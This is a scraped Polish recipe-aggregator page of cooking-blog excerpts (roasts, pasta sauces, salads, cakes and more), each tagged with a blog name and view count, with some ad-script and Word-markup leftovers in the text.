kurczak przeszedł wszystkimi smakami. Piekarnik rozgrzej do 190 stopni. Kurczaka wyjmij z lodówki, posmaruj roztopionym masłem, rozłóż kawałki cebuli. Piecz około 1,5 godz., przynajmniej raz oblewając kurczaka sosem własnym, który wytworzy się w brytfance. Rada: do tak przyrządzonego kurczaka świetnie pasują spuchnięte ziemniaki. Mamy dla was również ten przepis: Spuchnięte ziemniaki z piekarnika. Ta skórka jest przepyszna! PRZEPIS Artykuł

Kulinarna Polska
Udka pieczone w śmietanie 133

rozpuszczamy ser, dodajemy zioła prowansalskie, posiekane pory. Dusimy przez kwadrans pod przykryciem. Wlewamy śmietanę, przez chwilę podgrzewamy. Do smaku doprawiamy solą i pieprzem. W naczyniu żaroodpornym układamy udka, zalewamy sosem i zapiekamy 40 minut w 180°C. Normal 0 21 false false false MicrosoftInternetExplorer4 st1\:*{behavior:url(#ieooui) } /* Style Definitions */ table.MsoNormalTable {mso-style-name:Standardowy; mso-tstyle-rowband-size

R'n'G Kitchen
Zapiekanka z ryżem i brokułami 210

Zapiekanka z ryżem i brokułami Znasz serek z ziemniaka ? Ja go uwielbiam do tego stopnia, że postanowiłem oprzeć na nim dzisiejsze danie. Inspirując się nim, zrobiłem sos, który podczas pieczenia, jest spijany przez ryż. Efekt końcowy jest rewelacyjny. Otrzymujemy aromatyczny i pełen smaku ryż oraz idealnie ugotowane brokuły. A to wszystko w jednym naczyniu 😍 Jakiego ryżu użyć do zapiekanki? Najbardziej

Blendman
Wariacja na temat taskiej zupy ze szparagami 183

pokrojone w kostkę (1-2 cm ) warzywa W międzyczasie zblenduj całą zawartośc puszki z mlekiem kokosowym z sokiem cytrynowym i kolendrą. Gdy już warzywa będzą wystarczająco miękkie dodaj cały sos do gotującej się zupy. Wymieszaj i gotuj jeszcze 2-3 minuty na maleńkim ogniu. Podaj np. z podsmażonym tofu lub makaronem ryżowym. Smacznego!   Artykuł Wariacja na temat taskiej zupy

greenscarf
Syrop z mięty 165

czystych wyparzonych butelek albo słoiczków. Odwróć do góry dnem i pozostaw do całkowitego ostygnięcia. Dodawaj do zimnych i gorących napojów (np. lemoniad czy drinków), deserów i lodów, a także sosów do sałatek owocowych. Świetnie smakuje z mrożoną herbatą. Syrop z mięty

Cztery Fajery
Poradnik. Dlaczego warto jeść szpinak? 151

pojawiają się coraz ciekawsze przepisy na pyszne dania z takim dodatkiem, korzystanie z leczniczych właściwości stanie się dla każdego z nas przyjemnym zadaniem. Polecane dania ze szpinakiem: Makaron z sosem śmietanowo szpinakowym Zielone ziemniaczane kluski śląskie ze szpinakiem Puree ziemniaczane ze świeżym szpinakiem Wytrawna tarta ze szpinakiem i serem feta Makaron ze szpinakiem i słonym serem feta Artykuł Poradnik. Dlaczego

ProstePesto.pl
Curry z kalafiora. Przepis na pyszny wegański obiad 135

smaż jeszcze chwilę. Wsyp proszek curry, dokładnie wymieszaj, aby przyprawa połączyła się z tłuszczem. Dodaj soczewicę, wlej 3/4 szklanki wody, wymieszaj, gotuj około 10 minut pod przykryciem. Teraz do sosu wlej mleko kokosowe, dodaj marchewkę pokrojoną w kostkę oraz kalafiora podzielonego na różyczki, na tarce wetrzyj także pomidora w taki sposób, aby w ręce pozostała skórka, dopraw solą, wymieszaj, gotuj

Kulinarna Polska
fasola jaś w sosie pomidorowym, prosta i smaczna... 134

dobrze zmiksować. Drobno pokrojoną cebulę, czosnek posypaną cukrem na gorącym oleju podsmażyć na złocisto, wlać zmiksowane pomidory, wsypać przyprawę do dań z fasoli i mieszać do zagotowania pomidorów. Do sosu wlać z szybkowara ugotowaną fasolkę, do smaku dodać soli, pieprzu mielonego - fasolka jasie jest bardzo często u nas gotowana w różnych wersjach smakowych, bardzo lubimy ido ziemniaków i do pieczywa

W Mojej Kuchni Lubię
Urodzinowe dobrocie czyli potrawy na urodziny w domu 164

różnorodność, tak samo na ilość, by nie zrobić za dużo. Jednym z przykładów jest ciasto francuskie z szynką i serem. Potrzebujesz: ciasto francuskie parę kawałków szynki bazylię, oregano ketchup/ sos czosnkowy parę kawałków sera wszystko układamy na ciasto francuskie, przyprawiamy, następnie zwijamy ostrożnie i wkładamy do piekarnika na 15 minut, w 180 stopniach. -brownie: – masło, 3 gorzkie czekolady, kakao

sierotka maRysia w kuchni
Bogactwo w kaszach czyli ile gotować kasze? 147

następnie dodaje się około 4-5 łyżek kaszy dopiero, gdy mleko zacznie się gotować. I gotowe. Ale już kasza jęczmienna jest do obiadów. Wyobraźmy sobie ją w gęstym sosie, ogórkiem kiszonym i gulaszem. Aż ślinka leci! I jak sami widzimy, to już zupełnie inna bajka od tej pierwszej kaszy. Ta bardziej na słono, a tamta na słodko. Wszystko do wyboru

sierotka maRysia w kuchni
Pieczeń drobiowa „Gyros” 528

Pieczeń drobiowa z przyprawą do gyrosa. Z papryką, kukurydzą, cebulą i ogórkiem konserwowym. Mojej rodzince bardzo ona smakowała, mnie zabrakło jakiegoś sosu. około 700 g mielonego mięsa drobiowego (polecam pół na pół z piersi i udek bez skóry i kości) przyprawa do gyrosa 1 jajko kajzerka mleko do namoczenia kajzerki 1 czerwona papryka 1 mała cebula 2-3 ogórki konserwowe

Smaki Na Talerzu
Surówka obiadowa z młodej kapusty 145

małą kosteczkę *** *** Wszystkie składniki dodajemy do kapusty *** *** Miód mieszamy z sokiem z cytryny, aż się całkowicie rozpuści. Dodajemy olej z suszonych pomidorów oraz szczyptę mielonego pieprzu, mieszamy *** *** Tak przygotowany sos dodajemy do surówki i całość dokładnie mieszamy *** *** Gotową surówkę odkładamy do lodówki na minimum pół godziny, aby smaki się przegryzły *** *** SMACZNEGO ***       POLECAM RÓWNIEŻ: SURÓWKI DO OBIADU, GRILLA

Blog z Apetytem
Menu na dzień: 1600 kcal 162

podprażyć) lub wstaw do piekarnika rozgrzanego do 175 stopni na 10 minut. Przestudź sezam, przesyp do blendera, dodaj łyżkę oleju i miksuj tak długo, aż powstanie gładki sos, bez ziarenek. Gotowe! Kolacja (188 kcal) Jajko sadzone (lub dwa) Kiełki, np. rzodkiewki Garść szparagów Zobacz naszą najprostszą, sprawdzoną instrukcję jak dobrze ugotować szparagi. Smacznego! Artykuł Menu na dzień: 1600 kcal pochodzi

Niedzielny kucharz
Makaron z tuńczykiem, szpinakiem i suszonymi pomidorami 170

Składniki: 2 puszki tuńczyka w sosie własnym (po 170 g) 100 g świeżego szpinaku baby 15 kawałków pomidorów suszonych z oliwy 1 cebula 2 ząbki czosnku 1 łyżka soku z cytryny 3 łyżki oliwy (z suszonych pomidorów) 500 g makaronu penne 4 łyżki nasion słonecznika 4 łyżki pestek dyni sól, pieprz Sposób wykonania: Makaron gotujemy al'dente. Na patelni rozgrzewamy

Qchnia po prostu
Makaron z kurczakiem w wybornym sosie 136

wlewamy garnka gorący rosół w którym rozpuszczamy ser, dodajemy śmietanę i podgrzewamy pod przykryciem do całkowitego połączenia ze śmietaną. Dodajemy mięso i szpinak, po chwili makaron, dokładnie łączymy z sosem. Normal 0 21 false false false MicrosoftInternetExplorer4 /* Style Definitions */ table.MsoNormalTable {mso-style-name:Standardowy; mso-tstyle-rowband-size:0; mso-tstyle-colband-size:0; mso-style-noshow:yes; mso-style

R'n'G Kitchen
Sałatka ryżowa z tuńczykiem i porem 187

Witajcie. Dziś propozycja sałatkowa ;-) Składniki: 1 niepełna szklanka ryżu 1 por 1-2 puszki tuńczyka w sosie własnym 1 por 150 g wędzonego sera żółtego majonez sól, pieprz słodka papryka Sposób wykonania: 1. Ryż ugotować na sypko w lekko osolonym wrzątku. 2. Tuńczyka i kukurydzę odsączyć z zalewy 3. Pora pokroić w półplasterki, sparzyć wrzątkiem. 4. Ser żółty pokroić

Kuchnia domowa Ani
Pasta lubczykowa-domowe maggi na zimę 162

Domowe naturalne maggi z lubczyku. 🌿 Świetna domowa przyprawa najlepsza do rosołu ale nie tylko. Wzbogaci smak każdej zupy, sosu czy duszonego mięsa. Bez chemii i zbędnych dodatków do przygotowania w bardzo prosty sposób. 150 gramów listków lubczyku 35 gramów soli kamiennej 100 ml. oliwy lub oleju Gałązki lubczyku myjemy następnie osuszamy na ręczniku kuchennym. Następnie listki obieramy z grubszych łodyg

Andzia Pichci
Schab po cygańsku 167

Kiedy znudzą już się panierowane kotlety, zrazy, czy schab w sosie - warto dla odmiany wypróbować schabu po cygańsku. Choć przez dodatek dużej ilości sera i majonezu nie należy może do najlżejszych potraw - tak zapiekana wieprzowina z cebulą i marchewką pod taką kremową pierzynką, to bardzo miła odmiana.  Składniki (4 porcje) -4 kotlety schabowe -5 marchewek -3 cebule

Zielona Kuchnia
Marchewka z groszkiem 139

Marchewka z groszkiem to jeden z klasycznych dodatków do obiadu. Kojarzy mi się z niedzielnymi obiadami u babci, ale również z imprezami na salach, gdzie króluje ryż z białym sosem i właśnie marchewka z groszkiem podana na ciepło. Inna nazwa to duszona marchewka z groszkiem. To jedna z ulubionych surówek Polaków, którą serwują do obiadu a na pewno ulubiona jeśli

To Musisz Wiedzieć
SAŁATKA Z TRUSKAWKAMI i AWOKADO 167

cytryny 1 łyżka miodu 1 łyżka musztardy 2 ząbki czosnku  sól,pieprz  Mieszankę sałat układamy w misce. Na wierzch dajemy resztę składników i mieszamy. Składniki na sos ze sobą łączymy,mieszamy i polewamy nim sałatę

Niespełnione zdolności kulinarne
Potrawka rybna 229

Składniki: 1 mała marchewka 1/2 czerwonej papryki 1 filet z dowolnej ryby 1/2 pęczka szparagów kawałek pora 200 g jogurtu naturalnego sól, pieprz słodka papryka, zioła prowansalskie łyżeczka sosu chili … Czytaj dalej Potrawka rybna

czarrna od kuchni
Pesto z suszonych pomidorów (pesto alla siciliana) 139

Pesto z suszonych pomidorów!🍅 Znacie, lubicie? Pysznie pomidorowe - idealne do makaronu, na kanapki czy jako baza sosu do sałatki. Ja je uwielbiam, nawet nie wiem czy nie bardziej niż pesto alla genovese :) W oryginalnej wersji używa się orzeszków piniowych, które wcześniej się podpraża, ja dałam pestki dyni, które również świetnie pasują - można je podprażyć lub nie :) Składniki

Czarnawisienka
Wiosenny makaron z serem 141

oraz pół łyżeczki pieprzu ziołowego. Smażymy do czasu, aż mąka nabierze lekko brązowego koloru. Wtedy dolewamy mleko i mieszamy rózgą, aby nie powstały grudki. Zestawiamy patelnię na bok. Do sosu dodajemy 3/4 przygotowanego wcześniej sera, plasterki szparagów i makaron. Mieszamy dokładnie, aby wszystkie składniki się połączyły. Makaron przekładamy do naczynia do zapiekania. Na wierzch wykładamy główki szparagów, pomidorki oraz część

Kucharzyca
Pavlova z karmelizowanym rabarbarem 138

dodać ser mascarpone. Ubić na sztywno, po czym wmieszać delikatnie 2 łyżki cukru. Wykonanie Na środek upieczonej bezy wyłożyć krem z mascarpone, na nim rozłożyć karmelizowany rabarbar oraz polać sosem. Całość udekorować kawałkami świeżych truskawek. Pavlovą z karmelizowanym rabarbarem przechowywać w lodówce. (adsbygoogle = window.adsbygoogle || []).push({}); Artykuł Pavlova z karmelizowanym rabarbarem pochodzi z serwisu Niecodziennik Pary

niecodziennikpary
Ciecierzyca w zastępstwie schabowego. WegePesto 130

ciecierzycy do wiązania składników w kotletach mielonych zamiast jajek. Nawet jeśli nie jesteśmy wegetarianami warto od czasu do czasu schabowego czy mielonego zastąpić kotletem z ciecierzycy albo gęsty sos, gulaszem z tej ciekawej rośliny. Zobacz koniecznie. Falafel wegański. Najlepszy falafel to domowy falafel Artykuł Ciecierzyca w zastępstwie schabowego. WegePesto pochodzi z serwisu ProstePesto

ProstePesto.pl
Pizza z pesto z suszonych pomidorów 189

być różny w zależności od piekarnika, warto na nią spojrzeć już po 8 minutach i wówczas ocenić ile jeszcze powinna się piec). Podajemy z listkami świeżej bazylii i ulubionym sosem np. czosnkowym. Smacznego

Słodkie okruszki
Duszona biała kapusta 135

adsbygoogle = window.adsbygoogle || []).push({}); Składniki na około 4-5 porcji: mała główka kapusty (ok. 1 kg) 2 łyżki masła, margaryny lub smalcu pęczek koperku łyżka mąki pszennej przyprawy: sól, pieprz, sos sojowy   Kapustę oczyść – zdejmij niepotrzebne liście, przekrój na 4 części i wykrój głąb. Poszatkuj (nożem, szatkownicą elektryczną lub malakserem z ostrzem do szatkowania) . W wysokim rondlu rozpuść masło

Kulinarny S.O.S.
Przepis na ciasto do pizzy 155

Zapraszam również do skorzystania z innych przepisów: Smażony ryż z jajkiem po chińsku Zapiekanka makaronowa z mięsem mielonym Spaghetti Carbonara – przepis Makaron z kurczakiem brokułem i suszonymi pomidorami w sosie śmietanowym Artykuł Przepis na ciasto do pizzy pochodzi z serwisu Księga Smaku

Księga-Smaku
Ślimaczki z ciasta francuskiego z serem i boczkiem 130

również do podjadania przed telewizorem oraz tak w ciągu dnia.  Są naprawdę przepyszne i proste w przygotowaniu. Ja Wam zaprezentowałam wersję bardzo prostą, ale możecie ją wzbogacić o sos pomidorowy lub np. pieczarki. To kto się skusi na rollsy z ciasta francuskiego ? Polecam! Ślimaczki z ciasta francuskiego z serem i boczkiem - składniki:  (około 16 sztuk) 1 płat ciasta

Di gotuje
Makaron z pesto i krewetkami 162

makaron z pesto do takich należy. Powiecie pesto…to nie zupełnie tak prosto. .. A jednak, bo do potrawy użyłam gotowego Pesto alla Genovese firmy Ponti . To aromatyczny zielony sos pochodzący z Genui we Włoszech, który składa się przede wszystkim z oliwy z oliwek, bazylii, orzeszków piniowych i sera Grana Padano. (porcja dla 2 osób) Składniki: 200g makaronu bavette lub innego

W garach u Gosi
Biała kapusta zasmażana 197

adsbygoogle = window.adsbygoogle || []).push({}); Składniki na około 4-5 porcji: mała główka kapusty (ok. 1 kg) 2 łyżki masła, margaryny lub smalcu pęczek koperku łyżka mąki pszennej przyprawy: sól, pieprz, sos sojowy   Kapustę oczyść – zdejmij niepotrzebne liście, przekrój na 4 części i wykrój głąb. Poszatkuj (nożem, szatkownicą elektryczną lub malakserem z ostrzem do szatkowania) . W wysokim rondlu rozpuść masło

Kulinarny S.O.S.
Moje lunchboxy 181

DZIEŃ" czyli shawarma z kurczaka, kuskus z ciecierzycą i zieleniną oraz dip z harissą Bento #31 z książki "LUNCHBOX NA KAŻDY DZIEŃ NOWE PRZEPISY" czyli Omlet z jabłkiem i sos chałwowy Ryż i warzywa Bento #51 z książki "LUNCHBOX NA KAŻDY DZIEŃ" czyli Bulgur z brokułem, suszonymi pomidorami i kurczakiem Bento #8 z książki "LUNCHBOX NA KAŻDY DZIEŃ" czyli hummus

Mama Gotuje
Domowa sałatka pikantna z makreli do chleba. PRZEPIS 184

musztardę, dopraw solą i pieprzem, ponownie dokładnie wymieszaj i odstaw do przestudzenia. Z makreli zdejmij skórę, wyciągnij kręgosłup i pozbądź się widocznych ości. Mięso przełóż do miski. Dodaj sos z patelni, energicznie mieszaj, aż połączy się z rybą w jednolitą pastę. Podawaj po schłodzeniu jako dodatek do pieczywa. Artykuł Domowa sałatka pikantna z makreli do chleba. PRZEPIS pochodzi z serwisu

Kulinarna Polska
Spaghetti cake 211

Świetna i efektowna propozycja podania klasycznego makaronu spaghetti z mocno pomidorowym sosem, soczystym kurczakiem, pachnącą świeżą natką, ciągnącym serem i aromatycznymi oliwkami. Składniki: 400g makaronu spaghetti 200g ugotowanego mięsa z kurczaka np. udko 250g pomidorów koktajlowych 100g czarnych oliwek 160 koncentratu pomidorowego 300g żółtego sera 1 cebula 1 pęczek natki z pietruszki 2 jajka 3 łyżki masła + 1 łyżka

Szalona Kuchnia Eweliny
Polędwiczka z pieczonymi warzywami 237

Składniki: 1 polędwiczka wieprzowa marynata: 1 łyżka musztardy francuskiej 1 łyżka musztardy sarepskiej 1 łyżka octu balsamicznego 1 łyżka miodu 1 łyżka sosu sojowego warzywa: 1/2 kg ziemniaków 1 marchewka … Czytaj dalej Polędwiczka z pieczonymi warzywami

czarrna od kuchni
Makaron z pomidorami i tuńczykiem 143

przygotować dosłownie w pół godzinki. Prosto, pysznie i sycąco. To danie często gości na naszym stole. Jak nie macie pomysłu na obiad to polecam. Smacznych inspiracji życzę. Potrzebujemy: Na sos: 1 puszka pomidorów krojonych 2 duże cebule 2 ząbki czosnku olej do smażenia 2 łyżeczki koncentratu pomidorowego bazylia suszona według uznania oregano suszone według uznania czosnek suszony według uznania cebula

Izabelawkuchni
Polędwiczka wieprzowa faszerowana cheddarem z jalapeno i otulona wędzonym boczkiem 119

Przepyszna i aromatyczna opcja przygotowania polędwiczki, idealna dla osób, które lubią nutę pikantności. Wypełniona serami i marynowanym jalapeno, które po rozkrojeniu są płynne i wydostają się tworząc aromatyczny sos.  Składniki (4 porcje) -1 polędwiczka wieprzowa -3 marynowane jalapeno -150 g tartego sera cheddar -100 g kremowego serka typu Philadelphia -1/2 łyżeczki ostrej papryki -7-8 plasterków wędzonego boczku

Zielona Kuchnia
Sałatka ziemniaczana – idealna do grilla! 154

przekładamy do miski i dodajemy odsączoną z zalewy kukurydzę *** *** Majonez mieszamy z jogurtem i przeciśniętym czosnkiem. Dodajemy drobno posiekany koperek *** *** Całość dokładnie mieszamy i doprawiamy delikatnie solą oraz pieprzem *** *** Sos dodajemy do sałatki *** *** Mieszamy i całość doprawiamy jeszcze do smaku solą i pieprzem *** *** Przed podaniem sałatkę wkładamy do lodówki na minimum godzinę aby smaki się połączyły *** *** SMACZNEGO

Blog z Apetytem
Ciasto na pizzę 2637

Kolejno placki rozpłaszczyć dłońmi na okrągły spód do pizzy pozostawiając nieco wyższe brzegi. Blachę wysmarować olejem rzepakowym i ułożyć na niej przygotowane spody do pizzy. Tak przygotowane spody posmarować sosem do pizzy i ułożyć ulubione dodatki. Gotową pizzę wstawić do piekarnika nagrzanego do 220 st.C. i piec około 15-20 minut. (adsbygoogle = window.adsbygoogle || []).push({}); (adsbygoogle = window.adsbygoogle || []).push({}); Artykuł Ciasto

Danka Pichci
Placek ziemniaczany a'la pizza 150

piórka. Paprykę myjemy, osuszamy, usuwamy nasiona i kroimy w kostkę. Kiełbasę również kroimy w kostkę. Szczypiorek myjemy, osuszamy i drobno siekamy. Na upieczonym placku ziemniaczanym rozsmarowujemy ketchup lub sos pomidorowy i posypujemy ziołami prowansalskimi. Następnie wykładamy pokrojone dodatki - pieczarki, cebulę, kiełbasę i paprykę. Wierzch posypujemy tartą mozzarellą.  Wkładamy do piekarnika nagrzanego do 190 stopni jeszcze na około

Kuchnia MagdaLeny
Placek ziemniaczany a'la pizza 150

piórka. Paprykę myjemy, osuszamy, usuwamy nasiona i kroimy w kostkę. Kiełbasę również kroimy w kostkę. Szczypiorek myjemy, osuszamy i drobno siekamy. Na upieczonym placku ziemniaczanym rozsmarowujemy ketchup lub sos pomidorowy i posypujemy ziołami prowansalskimi. Następnie wykładamy pokrojone dodatki - pieczarki, cebulę, kiełbasę i paprykę. Wierzch posypujemy tartą mozzarellą.  Wkładamy do piekarnika nagrzanego do 190 stopni jeszcze na około

Kuchnia MagdaLeny
Mini pity 263

Składniki: 500 g mięsa mielonego 1 cebula 2-3 ząbki czosnku 2 łyżeczki musztardy maggi 1/2 łyżki sosu chili bułki do pity, u mnie w wersji mini, w opakowaniu jest 10 … Czytaj dalej Mini pity

czarrna od kuchni
Dietetyczne serniko-brownie z fasoli 146

ostygnie delikatnie oddzielamy ciasto nożykiem od boków i wyjmujemy z formy. Jest wspaniałe i bardzo treściwe bez żadnych dodatków, ale możecie także podać je ze świeżymi owocami lub sosem czekoladowym.  Brownie z fasoli jest mięciutkie i delikatne, posmak fasoli jest niemalże niewyczuwalny. Słodycz bez grzechu, wspaniałe słodkości bez wyrzeczeń. Smacznego

Cooking Monster
Ryżowa sałatka hawajska 156

niej użyć zarówno kurczaka jak i tuńczyka z puszki. Zdjęcie może nie jest najpiękniejsze, ale taki urok sałatek majonezowych. Składniki: woreczek ugotowanego ryżu np. parboiled puszka tuńczyka w sosie własnym lub oleju puszka kukurydzy pół puszki ananasa ok. 2 łyżki majonezu sól, pieprz W wersji najprostszej czas zajmuje nam właściwie tylko ugotowanie ryżu, odsączenie i dość drobne pokrojenie ananasa oraz

W kuchni bez szafek
Pieczona czerwona kapusta 172

lekko roztopił dodałam trochę chutney'a figowego (kupiony kiedyś w Lidlu) i posypałam orzechami włoskimi. No niebo w gębie! Teraz tylko tak sobie myślę, że przydałby się jeszcze sos balsamico. A mam, tylko o tym nie pomyślałam. Nic straconego jednak, bo taką kapustę jeść będę na pewno częściej . Mnóstwo przepisów na dania z czerwoną kapustą znajdziecie na Pintereście

bistro mama
Pasta do kanapek niejedno ma imię… Awokado, fasola, jaja, papryka… 200

temp. 180 stopni, ok. 30 minut) ostudzić. Wszystkie składniki zblendować. Pasta do kanapek z kurczakiem pieczone mięso z kurczaka, ząbek czosnku, łyżka jogurtu naturalnego, szczypior Składniki pokroić, wymieszać z sosem czosnkowym. Artykuł Pasta do kanapek niejedno ma imię… Awokado, fasola, jaja, papryka… pochodzi z serwisu Strefa Zdrowego Żywienia

Strefa Zdrowego Żywienia
Talarki ziemniaczane z piekarnika 149

Dzień dobry :-) Pyszne talarki ziemniaczane możemy potraktować jako przekąskę np. z sosem czosnkowym lub inny, ale jako dodatek do obiadu zamiast tradycyjnych ugotowanych. Takie pieczone z ziołami są naprawdę pyszne, ja dodatkowo pod koniec pieczenia posypałam je startym serem grana padano. Smakowały na pewno bardzo dzieciakom, nam również. Polecam i miłego dnia wszystkim życzę :-) Składniki na 4 porcje: około

kruche babeczki
Makaron w sosie rybnym 195

ryby, u mnie 3 szt. kostki z mintaja 1 mały por 1/2 pęczka szparagów 40 g liści szpinaku 2 ząbki czosnku 1 łyżka … Czytaj dalej Makaron w sosie rybnym

czarrna od kuchni
Serusie pod pierzynką 163

oraz ogórki drobno pokrojone, chwilę prużymy 9.   2 łyżki majonezu mieszamy z 2 łyżkami ketchupu oraz z warzywami 10.           Sos warzywny układamy na każdym kawałku mięsa 11.           Wierzch posypujemy pozostałym serem startym na tarce o dużych oczach

Kulinarna Chwila
Kotlety z indyka w migdałach 134

indyka w migdałach jako danie obiadowe możemy je podać z ugotowanym ryżem lub kaszą i surówką warzywną. Natomiast jako danie na przyjęcie świetnie będą się komponować z ulubionym domowym sosem, na przykład tysiąca wysp czy czosnkowym. Takie kotlety z indyka w migdałach to idealna alternatywa dla tradycyjnego schabowego przygotowywanego z mięsa wieprzowego! Gorąco zachęcam do wypróbowania tego super przepisu

Danka Pichci
Buddha Bowl miska szczęścia pełna obfitości 127

satysfakcjonujący. Polać delikatnie sokiem z limonki. Uwagi: W zależności od pory dnia i spodziewanego posiłku, można także przygotować Buddha Bowl w wersji słodkiej. Taka wersja zawiera świeże owoce, orzechy, sosy owocowe i marmoladkę. Zapraszam do kolejnego posta, w celu zapoznania się z deserową wersją miski szczęścia. Instagram Oznacz @prostepesto i dodaj hashtag #prostepesto Facebook Polub nas na Facebooku i dodaj

ProstePesto.pl
Zupa krem z pokrzywy, która smakuje jak szczawiówka :D 228

wyciśnięty z 1/4 cytryny 4 szczypty czarnego pieprzu pół łyżeczki soli lub trochę więcej wg własnego smaku dwie szczypty cukru trzcinowego dwie szczypty chilli w proszku lub odrobina sosu chilli jako dodatek – 4 ugotowane na twardo jajka śmietana lub jogurt do dekoracji Jeśli spodobał Ci się ten wpis, odwiedź mój Fanpage na Facebooku – będziesz na bieżąco z kolejnymi pysznymi

Eat me! Fit me!
Pasta kanapkowa 176

sprawdza się świetnie zarówno na śniadanie jak i kolację. Podaję ją ze świeżo upieczonym, domowym chlebem z tego przepisu . (adsbygoogle = window.adsbygoogle || []).push({}); SKŁADNIKI: 2 jaja 1 puszka tuńczyka w sosie własnym 2 łyżki majonezu 1 łyżka musztardy kremskiej koperek, szczypiorek, natka pietruszki (wedle upodobań) sól, pieprz do smaku (adsbygoogle = window.adsbygoogle || []).push({}); WYKONANIE: ZOBACZ JAK JA WYKONUJĘ TEN PRZEPIS. 1. Jajko

Prosty przepis na
Ryż na mleku 197

dodatkowej ilości wody. Ja jednak zazwyczaj używam ryż taki jak do risotto lub klasyczny ryż długoziarnisty. Można podawać go również np. ze świeżymi owocami, z cynamonem, rodzynkami, musem jabłkowym, sosem przygotowanym ze zmiksowanych owoców, czy z cukrem pudrem. Polecamy Wam również nasze inne przepisy na desery oraz inne przepisy na śniadanie . Składniki: 120 g ryżu 450 ml mleka Odrobina skórki

FoodMagazine.pl - Przepisy kulinarne
Owsiane pancakes (bezglutenowe) z owocami 140

zapragnie. Moja dzisiejsza wersja jest bezglutenowa, przygotowałam ją na bazie zmielonych płatków owsianych. To fajna odmiana dla tych tradycyjnych pszennych pankejków. Na blogu jest przepis na jabłkowe panckes z sosem czekoladowym oraz na klasyczne pancakes z owocami . Owsiane pancakes (bezglutenowe) z owocami Owsiane pancakes (bezglutenowe) z owocami Czas przygotowania: 30 minut Proporcje na ok. 10 placuszków Składniki: 150 g błyskawicznych

Kulinarne przygody Gatity
Poradnik ProstePesto. Zioła w ogrodzie 141

mieszkaniu balkon, to wystarczy duża doniczka. Może efekt nie będzie aż tak powalający, ale zawsze pod ręką będzie garść świeżej, zielonej wspaniałej pietruszki do niedzielnego rosołu. Pesto pietruszkowe sos z natki pietruszki i nerkowców Zupa krem z gruszki i korzenia pietruszki Podstawa polskiej kuchni czyli pyszny i pożywny rosół Masło do pieczywa z pietruszką i szczypiorkiem Zupa krem z zielonego

ProstePesto.pl
Zdrowa wątroba? To proste z ProstePesto! 131

samym – odciążać wątrobę. Cynamon z miodem. Duet w walce o zdrowie Zupa krem z zielonego groszku z fetą i pietruszką Masło do pieczywa z pietruszką i szczypiorkiem Pesto pietruszkowe sos z natki pietruszki i nerkowców Artykuł Zdrowa wątroba? To proste z ProstePesto! pochodzi z serwisu ProstePesto

ProstePesto.pl
Bulion drobiowy, to baza dla zup. 148

Bulion drobiowy, to baza dla zup ale i sosów, risotto.  Bez dobrego, esencjonalnego bulionu trudno zrobić smaczną zupę. Jeśli gotuję wywar, który ma  być bazą innych dań, nie dokładam starań, aby był klarowny. Ważny jest mocny, głęboki smak.  Do tego wywaru użyłam skrzydełek kurczaków zagrodowych, ale równie dobrze nadają się korpusy z kurczaków.  Mimo

Codziennik Kuchenny
Sałatka ryżowa z warzywami 158

pokroiłam w kostkę - jaka wyjdze , taka będzie dobra. Marchew umyłam, obrałam ze skórki i starłam na tarce. Połączyłam wszystko z ryżem. Płynne składniki połączyłam ze sobą w pyszny sos i doprawiłam do smaku. Wszystko razem wymieszałam i odstawiłam na około 30 min do lodówki, żeby smaki się połączyły

Kuchnia Pełna Emocji
Tort TRUSKAWKOWY z kremem jogurtowym i DRIP CAKE 1066

dekoracji wypieków ( patrz FILM ), w której można wymieniać tylki, użyłam tylki Wilton 7 (do kupienia w sklepach internetowych z akcesoriami do wypieków) lub można również użyć dyspensera do sosów (do kupienia w dużych supermarketach). Można również użyć małego rękawa cukierniczego lub foliowego woreczka, polewę przelać do woreczka i naciąć odrobię róg. 17. Czekoladą dekorujemy tort robiąc „drip cake”, zaczynając

Mała Cukierenka
Makaron z klopsikami z tofu 127

usłyszałam o klopsikach z tofu, to od razu pomyślałam – a, za dużo będzie roboty przy nich. Nic bardziej mylnego! A skoro klopsiki to obowiązkowo z makaronem w sosie pomidorowym. To danie przygotowuje się błyskawicznie. Pulpety nie rozwalają się podczas smażenia, a co najważniejsze, tofu w tej wersji smakuje naprawdę dobrze. Z ... Czytaj dalej Makaron z klopsikami z tofu Artykuł

Pink Envelope
Młoda kapusta z koperkiem - wegetariańska 163

Przyszła wiosna więc czas na wiosenne standardy. Młoda kapusta z koperkiem jako dodatek do młodych ziemniaków i sosu z polędwiczki sprawdza się idealnie. Debiut w mojej kuchni, ale raczej nie ostatnie wykonanie w tym sezonie.  Potrzebujemy: 1 średnią główkę młodej kapusty (600-800g) 1 pęczek koperku 70 g masła 82% 1 łyżka mąki pszennej 2 łyżki soku

Emskie Smaki
Kurczak w śmietanowym sosie ze szparagami, podany z makaronem. 166

całości. Na patelnie dodajemy masło i wrzucamy szparagi .Dolewamy rosół lub wodę Dusimy około 3 minut. Dokładamy mięso a następnie wlewamy śmietanę. Doprawiamy do smaku. Gotujemy kilka minut aż sos nieco zgęstnieje. Podajemy z makaronem lub ziemniakami.  Smacznego

Radość kipiąca uśmiechem.
Beza z truskawkami i granatem 157

tortu. W misce ubijamy śmietanę, serek mascarpone oraz dodajemy  2 łyżki cukru. Miksujemy do połączenia składników. Masę wykładamy na bezę  i układamy na niej owoce granatu. Polewamy sosem (syrop grenadyna wymieszana z rumem. Gotowe : ) Artykuł Beza z truskawkami i granatem pochodzi z serwisu I LOVE LIFE

I LOVE LIFE
Wyraziste ogórki małosolne i kiszone 117

Przyznam się bez bicia, że za świeżymi pomidorami nie przepadam. Natomiast lubię je w każdej innej postaci, w sosie, w zupie, w ketchupie, przecierze, koncentracie. Niejedzenie pomidorów nadrabiam jedzeniem hurtowych ilości ogórków – KAŻDYCH! Z racji tego, że taka ogórkowa ze mnie dziewczyna to w szczycie sezonu ogórków gruntowych nie może u mnie zabraknąć ogórków małosolnych i kiszonych. Taki słój

Be Fit Be Strong
Sałatka z tuńczykiem fit 208

Sałatka z tuńczykiem, jajkiem oraz mnóstwem warzyw - bez majonezu w wersji fit ;) Kolorowa, szybka w przygotowaniu i na każdą okazję. Składniki: tuńczyk w kawałku w sosie własnym duże opakowanie lub dwa małe, 5 jajek, papryka czerwona, pół papryki żółtej, kukurydza w puszce, ogórek zielony średniej wielkości, ogórek kiszony, mała cebula, pęczek koperku, Przygotowanie: Jajka gotujemy na twardo, Papryki, ogórki, cebulę

Lena Gotuje
Surówka z czerwonej kapusty 242

